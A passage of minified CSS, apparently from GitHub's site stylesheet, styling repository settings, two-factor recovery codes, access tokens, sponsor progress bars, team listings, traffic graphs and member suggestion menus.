-16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team 